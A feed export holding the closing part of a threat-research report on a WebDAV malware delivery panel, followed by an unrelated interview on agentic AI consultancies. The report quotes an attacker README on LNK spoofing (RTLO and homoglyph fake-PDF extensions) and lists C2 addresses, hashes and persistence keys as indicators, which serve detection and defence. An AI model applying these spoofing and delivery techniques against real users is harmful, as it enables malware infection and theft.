caption="Figure 10: Simba service system requirements." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-system-requirements.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" data-sys-asset-uid="blt3c958992fad5cb62" data-sys-asset-filename="Simba-server-system-requirements.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 10: Simba service system requirements." data-sys-asset-alt="Simba-server-system-requirements.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 10: Simba service system requirements.</figcaption></div></figure><p>⠀</p><p><span>The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 </span><span><span data-type="inlineCode">.url</span></span><span> files targeting different Windows binaries, such as .NET tools (</span><span><span data-type="inlineCode">InstallUtil</span></span><span>, </span><span><span data-type="inlineCode">RegAsm</span></span><span>, </span><span><span data-type="inlineCode">RegSvcs</span></span><span>, </span><span><span data-type="inlineCode">ngentask</span></span><span>), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.</span></p><p><span>The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a </span><span><span data-type="inlineCode">_MAPPING.csv</span></span><span> tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.</span></p><p></p><pre language="c"># LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.&lt;method&gt;.&lt;trick&gt;.&lt;spoof&gt;.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`&lt;method&gt;`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`&lt;trick&gt;`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`&lt;spoof&gt;`** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

&gt; The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
&gt; Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...</pre><p><span><em>Figure 11: This is a snippet from another </em></span><span><span data-type="inlineCode"><em>README.md</em></span></span><span><em>. The full README is available on Rapid7 Labs' </em></span><a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank"><span><em>Github</em></span></a><span><em>. The text is original, and the translation to Russian was not added by us.</em></span></p><h3>OPSEC is hard </h3><p><span>As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" alt="simba-service-presentation.png" caption="Figure 12: Simba service presentation." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-presentation.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" data-sys-asset-uid="blte7a569d4a484149e" data-sys-asset-filename="simba-service-presentation.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 12: Simba service presentation." data-sys-asset-alt="simba-service-presentation.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 12: Simba service presentation.</figcaption></div></figure><p>⠀</p><p><span>The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.</span></p><p><span>The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.</span></p><p><span>Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.</span></p><p><span>We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.</span></p><h3>Delivery panel overview</h3><p><span>The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" alt="simba-service-page-with-blocking-capabilities_.png" caption="Figure 13: Simba service page with blocking capabilities." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" data-sys-asset-uid="blt20dc8a76cc4cdc10" data-sys-asset-filename="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 13: Simba service page with blocking capabilities." data-sys-asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 13: Simba service page with blocking capabilities.</figcaption></div></figure><p>⠀</p><p><span>The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).</span></p><p><span>We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.</span></p><p><span>The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.</span></p><p><span>Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the </span><span><span data-type="inlineCode">/Downloads/CURP/ReportFinal.rcs.pdf</span></span><span> (RTLO-spoofed </span><span><span data-type="inlineCode">.scr</span></span><span> executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.</span></p><p><span>The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.</span></p><p><em></em></p><table><colgroup data-width="1250"><col><col><col><col><col></colgroup><tbody><tr><td><p><span><strong>Country</strong></span></p></td><td><p><span><strong>Requests</strong></span></p></td><td><p><span><strong>Share of requests</strong></span></p></td><td><p><span><strong>Unique client IPs</strong></span></p></td><td><p><span><strong>Launch events</strong></span></p></td></tr><tr><td><p><span>Mexico</span></p></td><td><p><span>63,622</span></p></td><td><p><span>82.5%</span></p></td><td><p><span>2,698</span></p></td><td><p><span>2,365</span></p></td></tr><tr><td><p><span>United States</span></p></td><td><p><span>4,032</span></p></td><td><p><span>5.2%</span></p></td><td><p><span>463</span></p></td><td><p><span>47</span></p></td></tr><tr><td><p><span>Germany</span></p></td><td><p><span>2,751</span></p></td><td><p><span>3.6%</span></p></td><td><p><span>59</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>United Kingdom</span></p></td><td><p><span>645</span></p></td><td><p><span>0.8%</span></p></td><td><p><span>40</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Netherlands</span></p></td><td><p><span>532</span></p></td><td><p><span>0.7%</span></p></td><td><p><span>49</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>France</span></p></td><td><p><span>407</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>21</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Finland</span></p></td><td><p><span>401</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>6</span></p></td><td><p><span>10</span></p></td></tr><tr><td><p><span>Brazil</span></p></td><td><p><span>343</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>41</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Republic of Korea</span></p></td><td><p><span>312</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>16</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 3: Geographic distribution of WebDAV delivery activity.</em></span></p><p><span><em></em></span></p><p><span>Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.</span></p><p><span>Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.</span></p><p><span>By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a </span><span><span data-type="inlineCode">GET</span></span><span> request for an </span><span><span data-type="inlineCode">.scr</span></span><span> or </span><span><span data-type="inlineCode">.exe</span></span><span> file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.</span></p><h2>Protocol behavior</h2><p><span>The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. </span><span><span data-type="inlineCode">PROPFIND</span></span><span> requests and </span><span><span data-type="inlineCode">207</span></span><span> responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. </span><span><span data-type="inlineCode">GET</span></span><span> requests and </span><span><span data-type="inlineCode">200</span></span><span> responses show file retrieval, including executable files opened or requested from the share.</span></p><p><span></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Method</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>PROPFIND</span></p></td><td><p><span>57,287</span></p></td></tr><tr><td><p><span>GET</span></p></td><td><p><span>13,088</span></p></td></tr><tr><td><p><span>OPTIONS</span></p></td><td><p><span>6,597</span></p></td></tr><tr><td><p><span>PROPPATCH</span></p></td><td><p><span>125</span></p></td></tr><tr><td><p><span>LOCK</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 4: HTTP methods observed in WebDAV delivery traffic.</em></span></p><p><span><em></em></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Status</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>207</span></p></td><td><p><span>57,412</span></p></td></tr><tr><td><p><span>200</span></p></td><td><p><span>19,532</span></p></td></tr><tr><td><p><span>206</span></p></td><td><p><span>154</span></p></td></tr></tbody></table><p><span><em>Table 5: HTTP status codes observed in WebDAV delivery traffic.</em></span></p><h2><span>MITRE ATT&amp;CK techniques</span></h2><table><colgroup data-width="1010"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Name</strong></span></p></td><td><p><span><strong>MITRE ATT&amp;CK technique</strong></span></p></td><td><p><span><strong>Code</strong></span></p></td></tr><tr><td><p><span>Payload execution</span></p></td><td><p><span>User Execution: Malicious File</span></p></td><td><p><span>T1204.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Right-to-Left Override</span></p></td><td><p><span>T1036.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Double File Extension</span></p></td><td><p><span>T1036.007</span></p></td></tr><tr><td><p><span>DLL sideloading</span></p></td><td><p><span>Hijack Execution Flow: DLL</span></p></td><td><p><span>T1574.001</span></p></td></tr><tr><td><p><span>Obfuscation</span></p></td><td><p><span>Encrypted/Encoded File</span></p></td><td><p><span>T1027.013</span></p></td></tr><tr><td><p><span>Payload unpacking</span></p></td><td><p><span>Deobfuscate/Decode Files or Information</span></p></td><td><p><span>T1140</span></p></td></tr><tr><td><p><span>Payload carrier</span></p></td><td><p><span>Steganography / image-carried payload data</span></p></td><td><p><span>T1027.003</span></p></td></tr><tr><td><p><span>API hiding</span></p></td><td><p><span>Dynamic API Resolution</span></p></td><td><p><span>T1027.007</span></p></td></tr><tr><td><p><span>In-memory loading</span></p></td><td><p><span>Reflective Code Loading</span></p></td><td><p><span>T1620</span></p></td></tr><tr><td><p><span>Injection</span></p></td><td><p><span>Process Hollowing</span></p></td><td><p><span>T1055.012</span></p></td></tr><tr><td><p><span>Native API use</span></p></td><td><p><span>Native API</span></p></td><td><p><span>T1106</span></p></td></tr><tr><td><p><span>Sandbox evasion</span></p></td><td><p><span>Time Based Evasion</span></p></td><td><p><span>T1497.003</span></p></td></tr><tr><td><p><span>Anti-analysis</span></p></td><td><p><span>Debugger / instrumentation checks</span></p></td><td><p><span>T1622</span></p></td></tr><tr><td><p><span>UAC bypass</span></p></td><td><p><span>Bypass User Account Control</span></p></td><td><p><span>T1548.002</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Registry Run Keys / Startup Folder</span></p></td><td><p><span>T1547.001</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Scheduled Task</span></p></td><td><p><span>T1053.005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Keylogging</span></p></td><td><p><span>T1056.001</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Screen Capture</span></p></td><td><p><span>T1113</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Clipboard Data</span></p></td><td><p><span>T1115</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Credentials from Web Browsers</span></p></td><td><p><span>T1555.003</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Steal Web Session Cookie</span></p></td><td><p><span>T1539</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Data from Local System</span></p></td><td><p><span>T1005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Automated Collection</span></p></td><td><p><span>T1119</span></p></td></tr><tr><td><p><span>Staging</span></p></td><td><p><span>Archive Collected Data: Archive via Utility</span></p></td><td><p><span>T1560.001</span></p></td></tr><tr><td><p><span>C2</span></p></td><td><p><span>Encrypted Channel</span></p></td><td><p><span>T1573</span></p></td></tr><tr><td><p><span>Exfiltration</span></p></td><td><p><span>Exfiltration Over C2 Channel</span></p></td><td><p><span>T1041</span></p></td></tr><tr><td><p><span>Possible persistence</span></p></td><td><p><span>WMI Event Subscription</span></p></td><td><p><span>T1546.003</span></p></td></tr><tr><td><p><span>Phishing lure generation</span></p></td><td><p><span>Generate Phishing Lures</span></p></td><td><p><span>AML.T0052</span></p></td></tr><tr><td><p><span>Resource Development</span></p></td><td><p><span>Resource Development</span></p></td><td><p><span>AML.TA0003</span></p></td></tr><tr><td><p><span>Obtain capabilities via LLM tooling</span></p></td><td><p><span>Obtain Capabilities</span></p></td><td><p><span>AML.T0016</span></p></td></tr><tr><td><p><span>LLM-assisted capability development</span></p></td><td><p><span>Develop Capabilities</span></p></td><td><p><span> AML.T0017</span></p></td></tr><tr><td><p><span>LLM prompt crafting for attack documentation</span></p></td><td><p><span>LLM Prompt Crafting</span></p></td><td><p><span>AML.T0065</span></p></td></tr><tr><td><p><span>Obtain capabilities via tooling</span></p></td><td><p><span>Obtain Capabilities: Software Tools</span></p></td><td><p><span>AML.T0016.001</span></p></td></tr></tbody></table><h2><span>Indicators of compromise (IOCs)</span></h2><h3>CURP campaign</h3><p>Phishing page: hxxps://gobf[.]mx </p><p>WebDav server: onedrive[.]cv</p><p></p><p>ReportFinal.&lt;RLO&gt;.scr    SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7</p><p></p><p>C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888</p><p>Domain: google.services[.]ug</p><p>Campaign tag:06x12x2026SantaEbash2  (v4.4.3)</p><p>Schedule tasks: brokerhost, net_queue_32</p><p></p><p>Staging paths:</p><p>%TEMP%\is-XXXXX.tmp\Fo-Binary.exe </p><p>%AppData%\Roaming\inttracer_i686_prod\      </p><p> C:\ProgramData\inttracer_i686_prod\</p><h3>DlrtyGames campaign </h3><p>C2: 23[.]94[.]252[.]228:57666</p><p>JA3: fc54e0d16d9764783542f0146a98b300</p><p>DlrtyGames.exe</p><p>SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268</p><p>discord-rpc.x64.dll</p><p>SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df</p><p>profiler16.dll</p><p>SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9</p><p>loader-pool.db</p><p>SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b</p><p>.NET RAT</p><p>SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923</p><p>Staging paths:</p><p>C:\ProgramData\basenet\</p><p>%APPDATA%\basenet\</p><p>Persistence:</p><p>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW</p><p>\com_app_bg_i686</p><p>\messenger_component_v8_32_rc</p><p></p><p>More indicators of compromise can be found on Rapid7’s <a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank">GitHub</a>.</p><h2>Rapid7 customers</h2><p>Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.</p><h2>Conclusion</h2><p><span>The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.</span></p><p><span>The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. </span></p><p><span>While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.</span></p><p><span>The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.</span></p>]]></content:encoded>
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<title><![CDATA[Q&A: Why boutique consultancies might be better for AI rollouts than the bigwigs]]></title>
<description><![CDATA[Major AI labs are unleashing forward-deployed engineers (FDEs) to try and grab enterprise customers. Large consultancies are dishing out tokens and assembling armies of consultants — both human and agent — to do the same.



But smaller firms are in the mix now, as well. AI is helping 28Stone Con...]]></description>
<link>https://tsecurity.de/de/3680996/it-nachrichten/qa-why-boutique-consultancies-might-be-better-for-ai-rollouts-than-the-bigwigs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680996/it-nachrichten/qa-why-boutique-consultancies-might-be-better-for-ai-rollouts-than-the-bigwigs/</guid>
<pubDate>Mon, 20 Jul 2026 13:33:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Major AI labs are <a href="https://www.computerworld.com/article/4171867/heres-one-career-emerging-from-the-ai-shift-forward-deployed-engineers.html">unleashing forward-deployed engineers</a> (FDEs) to try and grab enterprise customers. Large consultancies are dishing out tokens and assembling armies of consultants — both human and agent — to do the same.</p>



<p class="wp-block-paragraph">But smaller firms are in the mix now, as well. AI is helping <a href="https://www.28stone.com/" target="_blank" rel="noreferrer noopener">28Stone Consulting</a>, a New York-based, 230-person technology consultancy for capital markets, punch above its weight against larger rivals in the <a href="https://www.computerworld.com/article/4180088/ai-vendor-fdes-key-considerations-and-concerns.html">rush to deliver FDEs</a>.</p>



<p class="wp-block-paragraph">In this Q&amp;A, <a href="https://www.linkedin.com/in/thomas-dolan-4124914" target="_blank" rel="noreferrer noopener">Thomas Dolan</a> and <a href="https://www.linkedin.com/in/frank-erickson-07675a1" target="_blank" rel="noreferrer noopener">Frank Erickson</a>, founders of 28Stone, argue that agentic AI isn’t a one-size-fits-all solution in vertical markets; success takes discipline, deep domain expertise, and human involvement to mitigate risk.</p>



<p class="wp-block-paragraph">Many enterprises continue to struggle with the use of AI agents, which is consultancies are stepping in to get projects off the ground. 28Stone is among those that have published blueprints and methodologies on the development and delivery of agentic AI workflows with humans in the loop.</p>



<p class="wp-block-paragraph"><em>Computerworld</em> spoke with both founding partners about why companies are still stumbling with <a href="https://www.computerworld.com/article/4083589/from-chatbots-to-colleagues-how-agentic-ai-is-redefining-enterprise-automation.html">agentic AI rollouts</a>, and what a disciplined delivery process actually looks like.</p>



<p class="wp-block-paragraph"><strong>After 15 years of delivering software for capital markets firms, is ‘AI-first’ a real distinction or just positioning?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “We’re not shying away from being AI-forward. What needs to shine through is AI done intelligently — not stuff you get by buying some tokens for somebody on the trading desk. We’re an AI-first firm.”</p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “And it’s temporary. At some point, AI is going to be synonymous with software development.</p>



<p class="wp-block-paragraph">“The whole idea of an AI SDLC (software development lifecycle) versus an SDLC is going to be one and the same, a lot like cloud computing today. To not include AI in your strategy, you’d look like a COBOL vendor.”</p>



<p class="wp-block-paragraph"><strong>What does agentic AI delivery look like?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “We’ve got several AI initiatives delivering a pure agentic approach. We’ve doubled down on the human expertise wrapper in the SDLC. That doesn’t mean sacrificing any of the benefits of the AI models — quite the opposite.</p>



<p class="wp-block-paragraph">“You don’t achieve anywhere near the same level of value from applying AI without keeping that expertise — industry, functional and technical — throughout the process.”</p>



<p class="wp-block-paragraph"><strong>Where do humans stay in the loop once agents are doing the work?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “We’re believers in starting with requirements discovery. Someone who knows the analytical nuances of a good business analyst is critically important; shaping a product owner’s business information through a markup file that can be fed into a BA agent, then treating the output as if it came from a very fast junior BA. Only then is the story complete.</p>



<p class="wp-block-paragraph">“The developer takes that story, transforms it into the most efficient input, then owns the output, because they’re accountable for that code. A developer should own the code on both the input and output side.</p>



<p class="wp-block-paragraph">“Your product owner, who knows the business, that’s great. But expecting them to interact with an agent and output enterprise code is ridiculous. It’s not a great plan.“</p>



<p class="wp-block-paragraph"><strong>Why not just put one do-everything person in charge of AI and agents?</strong></p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “Every analyst, programmer or software engineer isn’t a great requirements analyst. And a great domain analyst with some technical background won’t know if the agent’s code is garbage, maintainable, performant.</p>



<p class="wp-block-paragraph">“It’s unrealistic to expect one individual to have that breadth across domain, software engineering, testing, deployment. Clients ask all the time, and we push back: ‘Great, if you can find that guy, they’re few and far between.’ To deliver at the enterprise level, you need the human expertise, at depth.“</p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “There’s system speed and latency, important in parts of finance. Then there’s speed of delivery, because other areas evolve quickly and time-to-market is critical.</p>



<p class="wp-block-paragraph">“Our human wrapper may at first pass come across as a little slowed down. Maybe it is. But [Erickson] has a good analogy about one of the dangers of AI: you can end up going really fast in the wrong direction. By the time you look up, you’re way off base and have to backtrack.“</p>



<p class="wp-block-paragraph"><strong>What about AI in your sector do you think is overhyped?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “The hype around the ease of use of AI and the democratization of enterprise software delivery — that ‘anybody could do it now, it’s all being done by machines’ — is another idea that could prove costly in the long run.</p>



<p class="wp-block-paragraph">“This do-it-yourself reaction is dangerous for clients, and for trust in the overall AI benefit, which is real. We compare it to the beginning of offshoring 20, 30 years ago: a golden idea that was going to cure everything. A lot of firms did it thoughtlessly, thinking it’s just labor arbitrage, and it almost inevitably failed. That all-or-nothing mentality missed that offshoring is an amazing way of getting better value for your dollar, but it has to be done thoughtfully, so the delivery process — the thing that ties it all together — stays unsevered.</p>



<p class="wp-block-paragraph">“We’re seeing that now. I’ve heard, ‘We’ll just push a button, the machine’s building the system.’ The machine is not building the system. It might be writing the code, the story, running the tests.</p>



<p class="wp-block-paragraph">The system is built by a team of engineers you bring in and trust. My fear is that people will say, ‘We don’t need this vendor or this technology team. I’ve got a product team. They might not be able to code at all, but they know the business,’ and it fails dramatically. </p>



<p class="wp-block-paragraph">“Then people say, ‘We played with AI, it’s not ready yet,’ and throw it all away. One of the best things we can do is ensure clients know the benefit is real.“</p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “The hype can be summed up in a single phrase: <a href="https://www.computerworld.com/article/4022711/when-everything-is-vibing.html">vibe coding</a>. That has done AI a massive disservice, because there’s a huge difference between vibe coding and enterprise software development, and some of the loudest proponents of AI are too latched on to it. In our industry, the only way to succeed would be a stable of unicorns. It just doesn’t scale. I get perturbed when our people internally refer to AI tooling as vibe coding; if they think that’s what they’re doing, they’re misunderstood.“</p>



<p class="wp-block-paragraph"><strong>When you engage clients at different levels of AI maturity, how do you get them to a understand what works?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “95% of our take on an agentic approach is in line with everyone else’s, but that 5% matters, especially in requirements discovery, in who’s giving the requirements and how they’re thought of. It can set you up for dramatic errors, given the speed at which you’re moving.</p>



<p class="wp-block-paragraph">“There’s a dangerous human tendency we’re seeing among clients to try and cut corners at the start of a project and — in lieu of having deep, expert driven discovery sessions — just summarize what they may want using AI.</p>



<p class="wp-block-paragraph">“We would hope our clients are collaborative, everyone understanding it’s early days. If a client insists on doing something we feel strongly against, like a product owner completely owning everything right up to code generation, that’s an issue we have to either push back strongly on or step out of the accountability for.“</p>



<p class="wp-block-paragraph"><strong>AI body shops — LLM providers and giant consultancies — are emerging to help enterprises deploy AI. Does that model work?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “Whether you’re partnering with an LLM or with an AI-first, generic software provider — ‘Hey, we’re not industry guys, but we know AI delivery’ — you end up, if you’re a bank or a broker-dealer, saying: ‘All right, we know our business, these guys know the AI side of it. What could go wrong? Put us together and we’ll have quality engineering.’</p>



<p class="wp-block-paragraph">“The problem is what you miss: the know-how of putting industry and technical expertise together and actually delivering financial services systems. The people working at the generic delivery firms, whether an AI-only firm or a body shop somewhere, don’t have that capability.“</p>



<p class="wp-block-paragraph"><strong>Does AI change the economics for smaller consultancies like yours competing against the big firms, and does it cut both ways?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “Over our 15 years pre-AI, there were two recurring reasons we’d lose a project. One: ‘We’d love to work with you guys, given your subject matter expertise, but the costs just aren’t there compared to my budgets. I’m being forced to go to a body shop or an [offshore] delivery center.’ The other side of that coin: ‘We love your capabilities, but you’re a firm of 230 people and I need 300, 400 people.’</p>



<p class="wp-block-paragraph">“AI changes the options for clients. You don’t have to sacrifice the niche vendor who knows your space just because you need a larger team or a cost target. AI levels the playing field and should allow smaller firms to compete with the larger, big-box generic firms, the Accentures of the world.“</p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “It redefines what scale means. You can look at velocity as a measure of your cost to deliver, not a rate card. Scale can’t be defined in terms of headcount anymore. It’s got to be defined in terms of output.</p>



<p class="wp-block-paragraph">“There’s a threat in it, too. If you’re an Accenture with hundreds of thousands of low-cost software engineers, how do you train all those people? I feel for them. But for us, a couple hundred people with a specific domain focus, it’s a huge opportunity.“</p>



<p class="wp-block-paragraph"><strong>How has the profile of the people you and others hire changed with this agentic process?</strong></p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “You’re still looking for people with strong engineering and design backgrounds, and communication skills, because they interact across the software development lifecycle more than in the past.</p>



<p class="wp-block-paragraph">“Many take too much joy in typing out perfect code. Sorry, I don’t need you writing for-loops and classes anymore. I need you reviewing them, understanding them, operating at a higher level. That’s a different kind of person: an engineer, not a programmer or a coder. On the [business analyst] side it’s similar: people took great pride in detailed user stories covering every path. Now it’s conversations, prompts, reviewing output — less doing, more interacting.</p>



<p class="wp-block-paragraph">“More than ever, they have to be interested in the domain. They can’t just be, ‘I want to learn everything there is to know about Java.’ That’s too narrow. They don’t have to be an expert; they have to be interested. In our case, capital markets is a specific niche. The biggest challenge is getting familiar with the tools — finding time, while delivering for customers, to ramp up and make the mistakes you need to without jeopardizing projects.“</p>



<p class="wp-block-paragraph"><strong>What about governance? Who’s keeping AI delivery and its costs under control?</strong></p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “This is evolving rapidly. People aren’t sure how to put governance around this. The most obvious is financial governance. People are starting to get hefty bills. One of our clients spent a million dollars on tokens over the last eight weeks alone. Sticker shock. The token-maxing policies are starting to show their flaws. It’s wild west still: learn on the fly, then figure out what needs to be governed.“</p>



